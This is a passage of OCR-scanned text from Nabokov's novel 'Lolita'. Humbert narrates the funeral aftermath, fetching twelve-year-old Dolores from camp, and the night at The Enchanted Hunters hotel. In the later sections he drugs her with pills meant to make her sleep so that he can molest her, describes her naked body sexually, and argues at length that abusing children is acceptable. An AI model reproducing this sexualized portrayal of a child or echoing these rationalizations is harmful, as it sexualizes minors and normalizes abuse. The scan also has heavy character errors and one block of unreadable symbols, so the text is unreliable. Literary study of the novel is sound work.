and that was helpful, for I feared +insomnia and a ghost. + +Now I must explain my reasons for keeping Dolores away. +Naturally, at first, when Charlotte had just been eliminated +and I re-entered the house a free father, and gulped down the +two whiskey-and-sodas I had prepared, and topped them with +a pint or two of my "pin,” and went to the bathroom to get +away from neighbors and friends, there was but one thing in +my mind and pulse — namely, the awareness that a few hours +hence, warm, brown-haired, and mine, mine, mine, Lolita +would be in my arms, shedding tears that I would kiss away +faster than they could well. But as I stood wide-eyed and +flushed before the mirror, John Farlow tenderly tapped to +inquire if I was okay — and I immediately realized it would +be madness .on my part to have her in the house with all +those busybodies milling around and scheming to take her +away from me. Indeed, unpredictable Lo herself might — who +knows? — show some foolish distrust of me, a sudden repug- +nance, vague fear and the like — and gone would be the magic +prize at the very instant of triumph. + +Speaking of busybodies, I had another visitor — friend Beale, + +94 + + + +the fellow who eliminated my wife. Stodgy and solemn, look- +ing like a kind of assistant executioner, with his bulldog jowls, +small black eyes, thickly rimmed glasses and conspicuous nos- +trils, he was ushered in by^ohn who then left ns, closing the +door upon us, with the utmost tact Suavely saying he had +twins in my stepdaughter's class, my grotesque visitor un- +rolled a large diagram he had made of the accident. It was, +as my stepdaughter would have put it, “a beaut, ' with all +kinds of impressive arrows and dotted lines in varicolored +inks. Mrs. H. H.’s trajectory was illustrated at several points +by a series of those little outline figures — doll-like wee career +girl or WAC — used in statistics as visual aids. Very clearly +and conclusively, this route came into contact with a boldly +traced sinuous line representing two consecutive swerves — +one which the Beale car made to avoid the Junk dog (dog +not shown), and the second, a kind of exaggerated continua- +tion of the first, meant to avert the tragedy. A very black cross +indicated the spot where the trim little outline figure had at +last come to rest on the sidewalk. I looked for some similar +mark to denote the place on the embankment where my +visitor's huge wax father had reclined, but there was none. +That gentleman, however, had signed the document as a +witness underneath the name of Leslie Tomson, Miss Op- +posite and a few other people. + +With his hummingbird pencil deftly and delicately flying +from one point to another, Frederick demonstrated his abso- +lute innocence and the recklessness of my wife: while he was +in the act of avoiding the dog, she had slipped on the freshly +watered asphalt and plunged forward whereas she should +have flung herself not forward but backward (Fred showed +how’ by a jerk of his padded shoulder) . I said it was certainly +not his fault, and the inquest upheld my view. + +Breathing violently through jet-black tense nostrils, he shook +his head and my hand; then, with an air of perfect savoir vri-re +and gentlemanly generosity, he offered to pay the funeral- +home expenses. He expected me to refuse his offer. With a +drunken sob of gratitude I accepted it. This took him aback. +Slowly, incredulously, he repeated what he had said. 1 thanked +him again, even more profusely than before. + +In result of that weird interview, the numbness of my soul +was for a moment resolved. And no wonder! I bad actually +seen the agent of fate. I had palpated the very ffesh of fate— +and its padded shoulder. A brilliant and monstrous mutation +had suddenly taken place, and here was the instrument. Wilh- + +95 + + + +in the intricacies of the pattern (hurrying housewife, slippery +pai/ement, a pest of a dog, steep grade, big caT, baboon at its +wheel), I could dimly distinguish my own vile contribution. +Had I not been such a fool — or such an intuitive genius — to +preserve that journal, fluids produced by vindictive anger and +hot. shame would not have blinded Charlotte in her dash to +the mailbox. But even had they blinded her, still nothing +might have happened, had not precise fete, that synchronizing +phantom, mixed within its alembic the car and the dog and +the sun and the shade and the wet and the weak and the +strong and' the stone. Adieu, Marlene! Fat fate’s formal hand- +shake (as reproduced by Beale before leaving the room) +brought me out of my torpor; and I wept. Ladies and gentle- +men of the jury — -I wept + + +24 + + +The elms and the poplars were turning their raffled backs +to a sudden onslaught of wind, and a black thunderhead +loomed above Ramsdale’s white church tower when I looked +around me for the last time. For unknown adventures I was +leaving the livid house where I had rented a room only ten +weeks before. The shades — thrifty, practical bamboo shades — +were already down. On porches or in the house their rich tex- +tures lend modem drama. The house of heaven must seem +pretty bare after that A raindrop fell on my knuckles. I went +back into the house for something or other while John was +putting my bags into the car, and then a funny thing hap- +pened. I do not know if in these tragic notes I have sufficiently +stressed.the peculiar “sending” effect that the writer's good +looks — pseudo-Celtic, attractively simiarf, boyishly manly — +had on women of every age and environment. . Of course, +such announcements made in the first person may sound +ridiculous. But every once in a while I have to remind the +reader of my appearance much as a professional novelist, who +has given a character of his some mannerism or a dog, has +to go on producing that dog or that mannerism every time +the character crops up in the course of the book. There may +be more to it in the present case. My gloomy good looks +should be kept in the mind’s eye if my story is to be properly + +96 + + +understood. Pubescent Lo swooned to Humbert’s charm as +she did to hiccuppy music; adult Lotte loved me with a ma- +ture, possessive passion that I now deplore and respect more +than I care to say. Jean Farlow who was thirty-one and ab- +solutely neurotic, had also apparently developed a strong +liking for me. She was handsome in a carved-Indian sort of +way, with a burnt sienna complexion. Her lips were like large +crimson polyps, and when she emitted her special barking +laugh, she showed large dull teeth and pale gums. + +She was very tall, wore either slacks with sandals or billow- +ing skirts with ballet slippers, drank any strong liquor in any +amount, had had two miscarriages, wrote stories about animals, +painted, as the reader knows, lakescapes, was already nursing +the cancer that was to kill her at thirty-three, and was hope- +lessly unattractive to me. Judge then of my alarm when a +few seconds before I left (she and I stood in the hallway) +Jean, with her always trembling fingers, took 'me by the +temples, and, tears in her bright blue eyes, attempted, unsuc- +cessfully, to glue herself to my bps. + +“Take care of yourself,” she said, "kiss your daughter for +me." + +A clap of thunder reverberated throughout the house, and +she added: + +“Perhaps, somewhere, some day, at a less miserable time, +we may see each other again” (Jean, whatever, wherever you +are, in minus time-space or plus soul-time, forgive me all this, +parenthesis included). + +And presently I was shaking hands with both of them in +the street, the sloping street, and everything was whirling and +flying before the approaching white deluge, and a truck with a +mattress from Philadelphia was confidently rolling down to +an empty house, and dust was running and writhing over the +exact slab of stone where Charlotte, when they lifted the lap- +robe for me, had been revealed, curled up, her eyes intact, +their black lashes still wet, matted, like yours, Lolita. + + +25 + + +Os-r Micnr surrosx that with all blocks removed and +P«t of delirious and unlimited delights before me, I + +97 + + +a pros- +would + + +have mentally sunk back, heaving a sigh of delicious relief. Eh +bien, pas An.Y utladache in the opaque air of this tombal jail is +disturbing, but I must persevere. Have written more than a +hundred pages and not got anywhere vet My calendar is get- +bng confused. That must have been around August 1 5, 1947 +Dont think I can go on. Heart head— everything. Lolita" +Loins, Lohta. Lehtn, Lolita, Lolita, Lolita, Lolita. Repeat till +the page is full, printer. r ^ r + +101 + + +27 + + +Still in Pakkington. Finally, I did achieve an hour's slum- +ber — from which I was aroused by gratuitous and horribly +exhausting congress with a small hairy hermaphrodite, a total +stranger. By then it was six in the morning, and it suddenly +occurred to me it might be a good thing to arrive at the camp +earlier than I had said. From Parldngton I had still a hundred +miles to go, and there would be more than that to the Hazy +Hills and Briceland. If I had said I would come for Dolly +in the afternoon, it was only because my fancy insisted on +merciful night falling as soon as possible upon my impatience. +But now I foresaw all hinds of misunderstandings and was all +a-jitter lest delay might' give her the opportunity of some idle +telephone call to Ramsdale. However, when at 9.30 a.m. I +attempted to start, I was confronted by a dead battery, and +noon was nigh when at last I left Parldngton. + +I reached my destination around half past two; parted my +car in a pine grove where a green-shirted, redheaded impish +lad stood throwing horseshoes in sullen solitude; was laconi- +cally directed by him to an office in a stucco cottage; in a dying +state, had to endure for several minutes the inquisitive com- +miseration of the camp mistress, a sluttish worn out female +with rusty hair. Dolly she said was all packed and ready to go. +She knew her mother was sick but not critically. Would Mr. +Haze, I mean, Mr. Humbert, care to meet the camp counsel- +lors? Or look at the cabins where the girls live? Each dedicated +to a Disney creature? Or visit the Lodge? Or should Charlie +be sent over to fetch her? The girls were just finishing fixing +the Dining Room for a dance. (And perhaps afterwards she +would say to somebody or other:’ “The poor guy looked like +his own ghost.”) + +Let me retain for a moment that scene in all its trivial and +fateful detail: hag Holmes writing out a receipt, scratching her +head, pulling a drawer out of her desk, pouring change into my +impatient palm, then neatly spreading a banknote over it with +a bright “. . . and five!”; photographs of girl-children; some +gaudy moth or butterfly, still alive, safely pinned to the wall +(“nature study”) ; the foamed diploma of the camp's dietitian; +my trembling hands; a card produced by efficient Holmes with + +102 + + +-V + + + +a report of Dolly Haze’s behavior for July ("fair to good; been +on swimming and boating”); a sound of trees and birds, and +my pounding heart ... I was standing with my back to the +open door, and then I felt the blood rush to my head as I heard +her respiration and voice behind me. She arrived dragging and +bumping her heavy suitcase. "Hi!” she said, and stood still, +looking at me with sly, glad eyes, her soft lips parted in a +slightly foolish hut wonderfully endearing smile. + +She was thinner and taller, and for a second it seemed to +me her face was less pretty than the mental imprint I bad +cherished for more than a month: her cheeks looked hollowed +and too much lentigo camouflaged her rosy rustic features; and +that first impression (a very narrow human interval between +two tiger heartbeats) carried the dear implication that all +widower Humbert had to do, wanted to do, or would do, was +to give this wan-looldng though sun-colored little orphan aux +ycux battus (and even those plumbaceons umbrae under her +eyes bore freckles) a sound education, a healthy and happy +girlhood, a dean home, nice girl-friends of her age among +whom (if the fates ddgned to repay me) I might find, per- +haps, a pretty little magdfein for Herr Doktor Humbert alone. +But “in a wink,” as the Germans say, the angelic line of con- +duct was erased, and I overtook my prey (time moves ahead +of our fancies!), and she was my Lolita again — in fact, more +of my Lolita than ever. I let my hand rest on her warm auburn +head and took up her bag. She was all rose and honey, dressed +in her brightest gingham, with a pattern of little red apples, +and her arms and legs were of a deep golden browni, with +scratches like tiny dotted lines of coagulated rubies, and the +ribbed cuffs of her white socks were turned down at the re- +membered level, and because of her childish gait, or because +I had memorized her as always wearing heelless shoes, her +saddle oxfords looked somehow too large and too high-heeled +for her. Good-bye, Camp Q., meny Camp Q. Good-bye, plain +unwholesome food, good-bye Charite'boy. In the hot car she +settled down beside me, slapped a prompt fly on ber lovely +knee; then, her mouth working violently on a piece of chew- +ing gum, she rapidly cranked down the window on her side +and settled bad: again. We sped through the striped and +speckled forest + +“How’s mother?" she asked dutifully. + +I said the doctors did not quite know vet what the trouble +was. Anyway, something abdominal. Abominable? No, abdom- + +103 + + + +inal. We would have to hang around for a while. The hospital +was in the country, near the gay town of Lepingville, where +a great poet had resided in the early nineteenth century and +where we would talce in all the shows. She thought it a peachy +idea and wondered if we could make Lepingville before nine +P.M. + +“We should be at Briceland by dinner tune/’ I said, “and +tomorrow we’ll visit Lepingville. How was the hike? Did you +have a marvelous time at the camp?” + +“Uh-huh.” + +“Sorry to leave?” + +“Un-un.” + +“Talk, Lo — don’t grunt. Tell me something.” + +'What thing, Dad?” (she let the word expand with ironic +deliberation). + +“Any old thing.” + +“Okay, if I call you that?” (eyes slit at the road). + +"Quite.” + +“It's a sketch, you know. When did you fall for my mum- +my?” + +“Some day, Lo, you will understand many emotions and +situations, such as for example the harmony, the beauty of +spiritual relationship.” + +“Bah!” said the cynical nymphet + +Shallow lull in the dialogue, filled with some landscape. + +“Look, Lo, at all those cows on that hillside.” + +“I think I’ll vomit if I look at a cow again.” + +“You know, I missed you terribly, Lo.” + +“I did not. Fact I’ve been revoltingly unfaithful to you, but +- it does not matter one bit, because you’ve stopped caring for +me, anyway. You drive much faster than my mummy, mister.” + +I slowed down from a blind seventy to a purblind fifty. + +‘Why do you think I have ceased caring for you, Lo?” + +‘Well, you haven’t kissed me yet, have you?” + +Inly dying, inly, moaning, I glimpsed a reasonably wide +shoulder of road ahead, and bumped and wobbled into the +weeds. Remember she is only a child, remember she is only — + +Hardly had the car come to a standstill than Lolita positively +flowed into my arms. Not daring let myself go — not even +daring let myself realize that this (sweet wetness and trem- +bling fire) was the beginning of the ineffable life which, ably +assisted by fate, I had finally willed into being — not daring +really kiss her, I touched her hot, opening lips with the utmost + +104 + + +piety, tiny sips, nothing salacious; but she, with an impatient +wriggle, pressed her mouth to mine so hard that I felt her big +front teeth and shared in the peppermint taste of her saliva. +I knew, of course, it was but an innocent game on her part, +a bit of backfisch foolery in imitation of some simulacrum +of fake romance, and since (as the psychotherapist, as well as +the rapist, will tell you} the limits and rules of such girlish +games are fluid, or at least too childishly subtle for the senior +partner to grasp — I was dreadfully afraid I might go too far +and cause her to start back in revulsion and terror. And, as +above all I was agonizingly anxious to smuggle ber into the +hermetic seclusion of The Enchanted Hunters, and we had +still eighty miles to go, blessed intuition broke our embrace — +a split second before a highway patrol car drew up alongside. + +Florid and beetlebrowed, its driver stared at me: + +“Happen to see a blue sedan, same make as yours, pass you +before the junction?” + +“Why, no.” + +‘We didn't,” said Lo, eagerly leaning across me, her in- +nocent hand on my legs, “but are you sure it was blue, +because — " + +The cop (what shadow of us was he afteT?) gave the little +colleen his best smile and went into a U-turn. + +We drove on. + +“The fruitheadl” remarked Lo. "He should have nabbed +you." + +“Why me for heaven's sake?” + +‘Well, the speed in this bum state is fifty, and — No, don’t +slow down, you, dull bulb. He’s gone now.” + +‘We have still quite a stretch,” I said, “and I want to get +there before dark. So be a good girl.” + +“Bad, bad gill,” said Lo comfortably. "Juvenile deliekwent, +but frank and fetching. That light was red. I’ve never seen +such driving.” + +We rolled silently through a silent townlct. + +“Say, wouldn't Mother be absolutely mad if sbe found out +we were lovers?” + +“Good Lord, Lo, let us not talk that way.” + +“But we arc lovers, aren't we?” + +Not that I know of. I think we arc going to have some +mere rain. Don’t you want to tell me of those little pranks of +yours in camp?” + +“Lon talk like a book. Dad.” + +IG> + + +"What have you been up to? I insist you tell me.” + +‘Are you easily shocked?” + +"No. Go on.” + +4< Let us turn into a secluded lane and I'll tell you.” + +Lo, I must seriously ask you not to play the fool. Well?" + +~ crept into njy ^ e rious r nnp ’ j cheap + +.SfrJ.'sss&t^e:— + +s w - * " — “ , 1— — + +a °^Ws fl* totto m,SKS &c wote «>'•" + +t J?W° *“< C*,» *. «a 30 * + +«*■*» SggfSHrfK + +SV:sS.” r »*Syi s s£^, ; + +*S» «““■ + + + +From the bathroom, where it took me quite a time to shift +back into normal gear for a humdrum purpose, I heard, stand- +ing, drumming, retaining my breath, my Lolita’s “oo’s” and +“gee’s” of girlish delight + +She had used the soap only because' it was sample soap. + +“Well, come on, my dear, if you are as hungry as I am.” + +And so to the elevator, daughter swinging her old white +purse, father walking in front (notabene: never behind, she is +not a lady). As we stood (now side by side) waiting to be +taken down, she threw back her head, yawned without re- +straint and shook her curls. + +'When did they make you get up at that camp?” + +“Half-past — ” she stifled another yawn — “six” — yawn in +full with a shiver of all her frame. “Half-past,” she repeated, +her throat filling up again. + +The dining room met us with a smell of fried fat and a +faded smile. It was a spacious and pretentious place with +maudlin murals depicting enchanted hunters in various pos- +tures and states of enchantment amid a medley of pallid ani- +mals, dryads and trees. A few scattered old ladies, two clergy- +men, and a man in a sports coat were finishing their meals in +silence. The dining room closed at nine, and the green-clad, +poker-faced serving girls were, happily, in a desperate hurry +to get rid of us. + +“Does not he look exactly, but exactly, like Quilty?” said +Lo in a soft voice, her sharp brown elbow not pointing, but +visibly burning to point, at the lone diner in the loud checks, +in the for comer of the room. + +“Like our fat Ramsdale dentist?” + +Lo arrested the mouthful of water she had just taken, and +put down her dancing glass. + +“Course not,” she said with a splutter of mirth. “I meant +the writer fellow in the Dromes ad,” + +Oh, Famel Oh, Femina! + +When the dessert was plunked down — a huge wedge of +cherry pie for the young lady and vanilla ice cream for her +protector, most of which she expeditiously added to her pie +— I produced a small vial containing Papa’s Purple Fills. As I +look back at those seasick murals, at that strange and mon- +strous moment, I can only explain my behavior then by the +mechanism of that dream vacuum wherein revolves a de- +ranged mind; but at the time, it all seemed quite simple +and inevitable to me. I glanced around, satisfied myself that + +112 + + +the last diner had left, removed the stopper, and with the +utmost deliberation tipped the philter into my palm. I had +carefully rehearsed before a mirror the gesture of clapping my +empty hand to my open mouth and swallowing a (fictitious) +pffl. As I expected, she pounced upon the vial with its plump, +beautifully colored capsules loaded with Beauty’s Sleep. + +"Bluei” she exclaimed. “Violet blue. What are they made +of?" + +"Summer sides.’’ I said, "and plums and figs, and the grape- +blood of emperors.” + +"No, seriously — please." + +"Oh, just Purpills. Vitamin X. Makes one strong as an ox +or an ax. Want to try' one?” + +Lolita stretched out her hand, nodding vigorously. + +I had hoped the drug would wort fast. It certainly did. She +had had a long long day, she had gone rowing in the morning +with Barbara whose sister was Waterfront Director, as the +adorable accessible nymphet now started to tell me in between +suppressed palate-humping yawns, growing in volume — oh, +how fast the magic potion worked! — and had been active in +other ways too. The mode that had vaguely loomed in her mind +was, of course, by the time we watertreaded out of the dining +room, forgotten. As we stood in the elevator, she leaned against +me, faintly smiling — wouldn’t you like me to tell you? — half +closing her dark-lidded eyes. "Sleepy, huh?” said Uncle Tom +who was bringing up the quiet Franco-Irish gentleman and his +daughter as well as two withered women, experts in roses. They +looked with sympathy at my frail, tanned, tottering, dazed +roscdarling. I had almost to carry her into out room. There, +she sat down on the edge of the bed, swaying a little, speaking +in dove-dull, long-drawn tones. + +"If T tell you — if I tell you, will you promise [sleepy, so +sleepy — head lolling, eyes going out), promise you won’t make +complaints?” + +"Later, Lo. Now go to bed. IT1 leave sou here, and you go to +bed. Give you ten minutes.” + +"Oh, I’ve been such a disgusting girl,” she went on, shaking +htr hair, removing with slow fingers a velvet hair ribbon. +"Lcmmc tell you — ” + +‘Tomorrow, Lo. Go to bed, go to bed — for goodness, sake, +to bed.” + +I pocketed the key and walked downstairs. + + +113 + + + +Gentlewomen of the jetky! Bear with met Allow me to take +just a tiny bit of your precious time! So this was le grand mo- +ment. I had left my Lolita still sitting on the edge of the +abysmal bed, drowsily raising her foot, fumbling at the shoe- +laces, and showing as she did so the nether side of her thigh +up to the crotch of her panties — she had always been singularly +absent-minded, or shameless, or both, in matters of legshow. +This, then, was the hermetic vision of her which I had locked +in— after satisfying myself that the door ’ carried no inside +bolt- The key, with its numbered dangler of carved wood, be- +came forthwith the weighty sesame to a rapturous and formida- +ble future. .It was mine, it was part of my hot hairy fist In a +few minutes — say, twenty, say half-an-hour, siche r ist sichec +as my uncle Gustave used to say — I would let myself into that +“342” and find my nympheb my beauty and bride, emprisoned +in her crystal sleep. Jurorsl If my happiness could have talked, +it would have filled that genteel hotel with a deafening roar. +And my only regret today is that I did not quietly deposit +key “342” at the office, and leave the town, the country, the +continent, the hemisphere, — indeed, the globe — that very +same night + +Let me explain. I was not- unduly disturbed by her self-ac- +cusatory innuendoes. I was still firmly resolved to pursue my +policy of sparing her purity by operating only in the stealth of +night, only upon a completely anesthetized little nude. Re- +straint and reverence were still my motto — even if that “puri- +ty” (incidentally, thoroughly debunked by modem science) +had been slightly damaged through some juvenile erotic ex- +perienee, no doubt homosexual, at that accursed camp of hers. +Of course, in my old-fashioned, old-world way, I, Jean-Jacques +Humbert, had taken for granted, when I first met her, that +she was as unravished as the stereotypical notion of normal +child” had been since the lamented end of the Ancient World +b.c. and its fascinating practices. We are not surrounded in +our enlighted era by little slave flowers that can be casually +plucked between business and bath as they used to be in the +days of the Romans; and we do not, as dignified Orientals did +in still more luxurious times, use tiny entertainers fore and +aft between the mutton and the rose sherbet The whole + +114 + + +point is that the old link between the adult world and the +child world has been completely severed nowadays by new +customs and new laws. Despite my having dabbled in psy- +chiatry and social work, I really knew very little about chil- +dren. After all, Lolita was only twelve, and no matter what +concessions I made to time and place — even bearing in mind +the crude behavior of American schoolchildren — I still was +under the impression that whatever went on among those +brash brats, went on at a later age, and in a different environ- +ment. Therefore (to retrieve the thread of this explanation) +the moralist in me by-passed the issue by clinging to conven- +tional notions of what twelve-year-old girls should be. The +child therapist in me (a fake, as most of them are — but no +matter) regurgitated neo-Freudian hash and conjured up a +dreaming and exaggerating Dolly in the "latency’' period of +girlhood. Finally, the sensualist in roe (a great and insane +monster) had no objection to some depravity in his prey. But +somewhere behind the raging bliss, bewildered shadows con- +ferred — and not to have heeded them, this is what I regret! +Human beings, attcndl I should have understood that Lolita +had already proved to be something quite different from inno- +cent Annabel, and that the nymphean evil breathing through +every pore of the fey child that I had prepared for my secret +delectation, would make the secrecy impossible, and the de- +lectation lethal. I should have known (by the signs made to +me by something in Lolita — the real child Lolita or some +haggard angel behind her back) that nothing but pain and +horror would result from the expected rapture. Oh, winged +gentlemen of the jury! + +And she was mine, she was mine, the key was in my fist, my +fist was in my pocket, she was mine. In the course of the evo- +cations and schemes to which I had dedicated so many in- +somnias, I had gradually eliminated all the superfluous blur, +and by stacking level upon level of translucent vision, had +evolved a final picture. Naked, except for one sock and her +charm bracelet, spread-eagled on the bed where my philter +had felled hd — so I forcglimpsed her; a velvet hair ribbon +was still clutched in her hand; her honey-brown body, with +the white negative image of n rudimentary swimsuit patterned +against her tan, presented to me its pale breastbuds; in the +row lamplight, a little pubic fio«s glistened on its plump +hillock. The cold key with its warm w-ooden addendum was +in my pocket. + +I wandered through various public rooms, glcrv below, + +115 + + + +gloom above: for the look of Inst always is gloomy; lust is +never quite sure — even when the velvety victim is locked up +in one’s dungeon — that some rival devil or influential god +may still not abolish one’s prepared triumph. In common +parlance, I needed a drink; but there was no barroom in that +venerable place full of perspiring phflistines and period objects. + +I drifted to the Men’s Room. There, a person in clerical +black — a “hearty party” comme on dit — checking with the +assistance of Vienna, if it was still there, inquired of me how +- 1 had liked Dr. Boyd's talk, and looked puzzled when I (King +Sigmund the Second) said Boyd was quite a boy. Upon which, +I neatly chucked the tissue paper I had been wiping my sensi- +tive finger tips with into the receptacle provided for it, and +sallied lobbyward. Comfortably resting my elbows on the +counter, I asked Mr. Potts was he quite sure my wife had +not telephoned, and what about that cot? He answered she +had not (she was dead, of course) and the cot would he in- +stalled tomorrow if we decided to stay on. From a big crowded +place called The Hunters’ Hall came a sound of many voices +discussing horticulture or eternity. Another room, called The +Raspberry Room, all bathed in light, with bright little tables +and a large one with “refreshments,” was still empty exrept +for a hostess (that type of worn woman with a glassy stnfle +and Charlotte's manner of speaking); she floated up to me +to ask if I was Mr. Braddock, because if so, Miss Beard had +been looking for me. “What a name for a woman,” I said +and strolled away. + +In and out of my heart flowed my rainbow blood. I would +give her till half-past-nine. Going back to the lobby, I found +there a change: a number of people in floral dresses or black +cloth had formed little groups here and there, and some elfish +chance offered me the sight of a delightful child of Lolita’s age, +in Lolita’s type of frock, but pure white, and there was a white +ribbon in her black hair. She was not pretty, but she was a +nymphet, and hex ivory pale legs and lily neck formed for one +memorable moment a most pleasurable antiphony (in terms of +spinal music) to my desire for Lolita, brown and pink, flushed +and fouled. The pale child noticed my gaze (which was really +quite casual and debonair), and being ridiculously self-con- +scious, lost countenance completely, rolling her eyes and put- +ting the back of her hand to her cheek, and pulling at the hem +of her skirt, and finally turning her thin mobile shoulder blades +to me in specious chat with her cow-like mother. + +116 + + +I left the loud lobby and stood outside, on the white steps, +looking at the hundreds of powdered bugs wheeling around +the lamps in the soggy black night, full of ripple and stir. AH +I would do— all I would dare to do— would amount to such a +trifle ... + +Suddenly I was aware that in the darkness next to me there +was somebody sitting in a chair on the pillared porch. I could +not really see him. but what gave him away was the rasp of a +screwing oS, then a discreet gurgle, then the final note of a +placid screwing on. I was about to move away when his voice +addressed me: + +“Where the devil did you get her?” + +"I beg your pardon?” + +"I said: the weather is getting better." + +“Seems so.” + +“Who’s the lassie?” + +“My daughter." + +“You lie — she’s not” + +"1 beg your pardon?” + +“I said: July was hot Where's her mother?” + +“Dead.” + +“I see. Sorry. By the way, why don’t you two lunch with +me tomorrow. That dreadful crowd will be gone by then.” + +‘We’ll be gone too. Good night” + +“Sorry. I’m pretty drunk. Good night That child of yours +needs a lot of sleep. Sleep is a rose, as the Persians say. Smoke?” + +“Not now.” + +He struck a light, but because he was drunk, or because the +wind was, the flame illumined not him but another person, a +very old man, one of those permanent guests of old hotels — +and his white rocker. Nobody said anything and the darkness +returned to its initial place. Then I heard the old-rimer cough +and deliver himself of some sepulchral mucus. + +I left the porch. At least half an hour in all had elapsed. I +ought to have asked for a sip. The strain was beginning to tdl. + +If a violin string can ache, then I was that string. But it would ; + +have been unseemly to display any hurry. As I made my way +through a constellation of fixed people in one comer of the ! +lobby, there came a blinding flash — and beaming Dr. Brnddock, j + +two orchid-omamcntnlired matrons, the smalf rid in white, ! +and presumable the bared teeth of Humbert Humbert sidling +between the bridclikc Irssic and the enchanted cleric, were im- +mortalized— insofar as the texture and print of small-town + +117 + + +newspapers can be deemed, immortal. A twittering group had +gathered near the elevator. I again chose the stairs. 342 was +near the fire escape. One could still — but the key was already +in the - lock, and then I was in the room. + + +29 + +The door of the lighted bathroom stood ajar; in addition to +that, a skeleton glow came through the Venetian blind from +the outside arclights; these intercrossed rays penetrated the +darkness of the bedroom and revealed the following situation. + +Clothed in one of her old nightgowns, my Lolita lay on her +side with her back to me, in the middle of the bed. Her lightly +veiled body and bare limbs formed a Z. She had put both +pillows under her dark tousled head; a band of pale light +crossed her top vertebrae. + +I seemed to have shed my clothes and slipped into pajamas +with the kind of fantastic instantaneousness which, is implied +when in a cinematographic scene the process of changing is +cut; and I had already placed my knee on the edge of the bed +when Lolita turned her head and stared at me through the +striped shadows. + +Now this was something the intruder had not expected. The +whole pill-spiel (a rather sordid affair, entre nous soit d it) had +had for object a' fastness of sleep that a whole regiment would +not have disturbed, and here she was staring at me, and thickly +calling me “Barbara.” Barbara, , wearing my pajamas which +were much too tight for her, remained poised motionless over +the little sleep-talker. Softly, with a hopeless sigh, Dolly turned +away, resuming her initial position. For at least two minutes +I waited and strained on the brink, like that tailor with his +homemade parachute forty years ago when about to jump from +the Eiffel Tower. Her faint breathing had the rhythm of +sleep. Finally I heaved myself onto my narrow margin of bed, +stealthily pulled at the odds and ends of sheets piled up to +the south of my stone-cold heels — and Lolita lifted her head +and gaped at me. + +As I learned later from a helpful pharmaceutist, the purple +pill did not even belong to the big and noble family of barbitu- + +118 + + +rates, and though it might have induced sleep in s neurotic +who believed it to be a potent drug, it was too mOd a sedative +to affect for any length of time a wary, albeit weary, nymphet +Whether the Ramsdale doctor was a charlatan or a shrewd old +rogue, does not, and did not, really matter. What mattered was +that I had been deceived. When Lolita opened her eyes again, +I realized that whether or not the drug might work later in the +night, the security I had relied upon was a sham one. Slowly +her head turned away and dropped onto her unfair amount of +pillow. I lay quite still on my brink, peering at ber rumpled +hair, at the glimmer of nymphet flesh, where half a haunch +and half a shoulder dimly showed, and trying to gauge the +depth of her sleep by the rate of her respiration. Some time +passed, nothing changed, and I decided I might risk getting a +little closer to that lovely and maddening glimmer; but hardly +bad I moved into its warm purlieus than her breathing was +suspended, and I had the odious feeling that little Dolores +was wide awake and would explode in screams if I touched +her with any part of my wretchedness. Please, reader: no mat- +ter your exasperation with the tenderhearted, morbidly sensi- +tive, infinitely circumspect hero of my book, do not skip these +essential pages! Imagine me; I shall not exist if you do not +imagine me; try to discern the doe in me, trembling in the +forest of my own iniquity; let's even smile a little. After all, +there is no harm in smiling. For instance (I almost wrote +"frinsfance"), I had no place to rest my head, and a fit of +heartburn (they call those fries 'Trench,” grand DieuI) was +added to my discomfort + +She was again fast asleep, my nymphet, but still I did not +dare to launch upon my enchanted voyage. La Peb'teDormcusc +ou P Am ant Ridicule. Tomorrow I would stuff her with those +earlier pills that had so thoroughly numbed her mummy. In +the glove compartment — or in the Gladstone bag? Should I +wait 3 solid hour and then creep up again? The science of +nympholcpsv is a precise science. Actual contact would do it in +one second fiat An interspace of a millimeter would do it in +ten. Let us wait + +There is nothing louder than an American hotel; and. mind +you. this was supposed to be a quiet cozy, old-fashioned, +homey place — "gracious living” and all that stuff. The clatter +of the elevator’s gate — some twenty surds northeast cf my +bead but as dearly perceived as if it w-ere inside my left temple +— alternated with the binging and booming of the machine’s + +119 + + + +various evolutions and lasted well beyond midnight Every +now and then, immediately east of my left ear (always as- +suming I lay on my bach, not daring to direct my viler side +toward the nebulous haunch of my bed-mate), the corridor +would brim with cheerful, resonant and inept exclamations +ending in a volley of good-nights. When that stopped, a toilet +immediately north of my cerebellum took over. It was a +manly, energetic, deep-throated toilet and it was used many +times. Its gurgle and gush and long afterflow shook the wall +behind me. Then someone in a southern direction was ex- +travagantly sick, almost coughing out his life with his liquor, +and his toilet descended like a veritable Niagara, immediately +beyond our bathroom. And when finally all the waterfalls had +stopped, and the enchanted hunters were sound asleep, the +avenue under the window of my insomnia, to the west of my +wake — a staid, eminently residential, dignified alley of huge +trees — degenerated into the despicable haunt of gigantic tracks +roaring through the wet and windy night. ' + +And less than six inches from me and my burning life, was +nebulous Lolita! After a long stirless vigil, my tentacles moved +towards her again, and this time the creak of the mattress did +not awake her. I managed to bring my ravenous bulk so close +to her that I felt the aura of her bare shoulder like a warm +breath upon my cheek. And then, she sat up, gasped, muttered +with insane rapidity something about boats, tugged at the +sheets and lapsed back into her rich, dark, young unconscious- +ness. As she tossed, within that abundant flow of sleep, recently +auburn, at present lunar, her arm struck me across the face. +For a second I held her. She freed herself from the shadow +of my embrace — doing this not consciously, not violently, not +with any personal distaste, but with the neutral plaintive +murmur of a child demanding its natural rest. And again the +situation remained the same: Lolita with her curved spine +to Humbert, Humbert resting his head on his hand and burn- +ing with desire and dyspepsia. + +The latter necessitated a trip to the bathroom for a draft of +water which is the best medicine I know in my case, except +perhaps milk wath radishes; and when I re-entered the strange +pale-striped fastness where. Lolita’s old and new.' clothes re- +clined in various attitudes of enchantment on pieces of furni- +ture that seemed vaguely afloat, my impossible daughter sat up +and in clear tones demanded a drink, too. She took the resilient +and cold paper cup in her shadowy hand and gulped down its + +120 + + +contents gratefully, her long eyelashes pointing cupwatd, and +then, with an infantile gesture that carried more charm than +any carnal caress, little Lolita wiped her lips against my shoul- +der. She fell bach on her pillow (I had subtracted mine while +she dranh) and was instantly asleep again. + +I had not dared o6er her a second helping of the drug, and +had not abandoned hope that the first might still consolidate +her sleep. I started to move toward her, ready for any disap- +pointment, knowing I had better wait but incapable of wait- +ing. My pillow smelled of her hair. I moved toward my glim- +mering darling, stopping or retreating every time I thought +she stirred or was about to stir. A breeze from wonderland had +begun to affect my thoughts, and now they seemed couched +in italics, as if the surface reflecting them were wrinkled by the +phantasm of that breeze. Time and again my consciousness +folded the wrong way, my shuffling body entered the sphere +of sleep, shuffled out again, and once or twice I caught myself +drifting into a melancholy snore. Mists of tenderness enfolded +mountains of longing. Now and then it seemed to me that +the enchanted prey was about to meet halfway the enchanted +hunter, that her haunch was 